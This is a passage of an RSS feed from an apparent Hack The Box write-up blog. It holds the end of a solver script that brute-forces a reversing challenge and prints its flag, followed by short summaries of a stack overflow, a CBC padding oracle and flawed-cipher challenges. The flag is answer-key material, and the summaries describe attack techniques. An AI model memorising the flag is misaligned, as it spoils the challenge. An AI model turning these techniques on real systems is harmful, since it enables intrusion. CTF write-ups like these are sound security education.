style=&#34;color:#e6db74&#34;&gt;&amp;#34;e&amp;#34;&lt;/span&gt;],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;T&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;nopqrstuvwx&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;nopqrstuvwx&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;nc|&amp;#34;&lt;/span&gt;],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ascii_product&lt;/span&gt;(s: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; int:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; math&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;prod(ord(c) &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; c &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; s)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;solve_chunk&lt;/span&gt;(charsets, target):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    out &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; []&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; tup &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; itertools&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;product(&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;charsets):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        s &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;join(tup)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ascii_product(s) &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; target:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            out&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;append(s)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;maybe_check_binary&lt;/span&gt;(flag: str) &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; bool &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    bin_path &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; pathlib&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;Path(__file__)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;with_name(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;rega_town&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;not&lt;/span&gt; bin_path&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;exists():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; subprocess&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;run(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        [str(bin_path)],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        input&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;flag &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        text&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        capture_output&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        check&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;False&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Correct one of us!!&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; p&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;stdout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    chunk_candidates &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [solve_chunk(cs, t) &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; cs, t &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; zip(POOLS, TARGETS)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;[+] Chunk candidates:&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i, cands &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; enumerate(chunk_candidates, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        print(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;  chunk&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;i&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;cands&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    all_flags &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; []&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; parts &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; itertools&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;product(&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;chunk_candidates):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        flag &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;HTB&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;{{&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;parts[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;_&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;parts[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;_&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;parts[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;_&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;parts[&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;_&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;parts[&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;_&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;parts[&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;_&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;parts[&lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;]&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;}}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; flag[&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#66d9ef&#34;&gt;continue&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; flag[&lt;span style=&#34;color:#ae81ff&#34;&gt;9&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;r&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#66d9ef&#34;&gt;continue&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        all_flags&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;append(flag)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;[+] Valid candidates after assertions:&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; f &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; all_flags:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        status &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; maybe_check_binary(f)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; status &lt;span style=&#34;color:#f92672&#34;&gt;is&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;None&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            print(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;  &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;f&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            print(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;  &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;f&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;  (binary check: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;status&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;)&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    intended &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; next((f &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; f &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; all_flags &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Town}&amp;#34;&lt;/span&gt;)), all_flags[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;[+] Intended flag:&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;  &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;intended&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; __name__ &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    main()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;flag&#34;&gt;Flag&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTB{Y0u_Ar3_Th3_K1ng_O7_The_Town}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/pagevault&gt;</description>
    </item>
    <item>
      <title>HTB - Pwn: Arms roped</title>
      <link>/posts/htb-pwn-arms-roped/</link>
      <pubDate>Tue, 03 Mar 2026 15:20:00 +0700</pubDate>
      <guid>/posts/htb-pwn-arms-roped/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Arms roped&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Pwn&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Get code execution and read the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;binary-recon&#34;&gt;Binary Recon&lt;/h2&gt;&#xA;&lt;p&gt;Initial triage (&lt;code&gt;file&lt;/code&gt;, &lt;code&gt;checksec&lt;/code&gt;, &lt;code&gt;readelf&lt;/code&gt;) showed:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;32-bit ARM ELF&lt;/li&gt;&#xA;&lt;li&gt;PIE enabled&lt;/li&gt;&#xA;&lt;li&gt;Stack canary enabled&lt;/li&gt;&#xA;&lt;li&gt;NX enabled&lt;/li&gt;&#xA;&lt;li&gt;Partial RELRO&lt;/li&gt;&#xA;&lt;li&gt;Bundled &lt;code&gt;libc.so.6&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Main vulnerable path is in &lt;code&gt;string_storer()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;reads with &lt;code&gt;scanf(&amp;quot;%m[^\n]%n&amp;quot;, &amp;amp;tmp, &amp;amp;n)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;copies with &lt;code&gt;memcpy(localbuf, tmp, n)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;prints with &lt;code&gt;puts(localbuf)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The bug is straightforward: &lt;strong&gt;attacker-controlled &lt;code&gt;n&lt;/code&gt; is copied into a fixed stack buffer&lt;/strong&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: Neon Core</title>
      <link>/posts/htb-crypto-neon-core/</link>
      <pubDate>Sat, 28 Feb 2026 16:25:00 +0700</pubDate>
      <guid>/posts/htb-crypto-neon-core/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Neon Core&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the hidden configuration blueprint (flag) from the encrypted output.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The service encrypts each 16-byte block as a 4x4 matrix over &lt;strong&gt;GF(257)&lt;/strong&gt; using:&lt;/p&gt;&#xA;&lt;p&gt;$$&#xA;C = K \cdot S(M) \cdot L + T, \quad S(x)=x^3&#xA;$$&lt;/p&gt;&#xA;&lt;p&gt;where &lt;code&gt;K&lt;/code&gt;, &lt;code&gt;L&lt;/code&gt;, and &lt;code&gt;T&lt;/code&gt; are fixed per service instance.&lt;/p&gt;&#xA;&lt;p&gt;Although this looks nonlinear, the nonlinearity is only the per-element cube. After lifting each input byte to $u_i = m_i^3$, the full block transform is affine linear:&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: Shambles</title>
      <link>/posts/htb-crypto-shambles/</link>
      <pubDate>Sat, 28 Feb 2026 14:55:00 +0700</pubDate>
      <guid>/posts/htb-crypto-shambles/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Shambles&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Trigger the withdraw condition that drops target balance to zero and get the flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The service decrypts user-supplied token ciphertext with AES-CBC and runs PKCS#7 unpad before JWT verification.&lt;/p&gt;&#xA;&lt;p&gt;Error behavior leaks padding validity:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Invalid padding → &lt;code&gt;Decryption error!&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Valid padding but bad JWT/signature → different response (&lt;code&gt;Validation error!&lt;/code&gt; path)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That creates a classic &lt;strong&gt;CBC padding oracle&lt;/strong&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>HTB - Crypto: POPO</title>
      <link>/posts/htb-crypto-popo/</link>
      <pubDate>Fri, 27 Feb 2026 17:15:00 +0700</pubDate>
      <guid>/posts/htb-crypto-popo/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; POPO&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Recover the secret plaintext from a flawed Paillier-based service.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;The service is Paillier-like with:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;g = n + 1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c = g^m * r^n mod n^2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;but it adds an &amp;ldquo;optimization&amp;rdquo; switch:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first positive non-secret message computes normally&lt;/li&gt;&#xA;&lt;li&gt;later positive non-secret messages use &lt;code&gt;local = m&lt;/code&gt; (skipping &lt;code&gt;g^m&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Also, a fixed &lt;code&gt;r&lt;/code&gt; is reused unless explicitly supplied.&lt;/p&gt;</description>
    </item>
    <item>
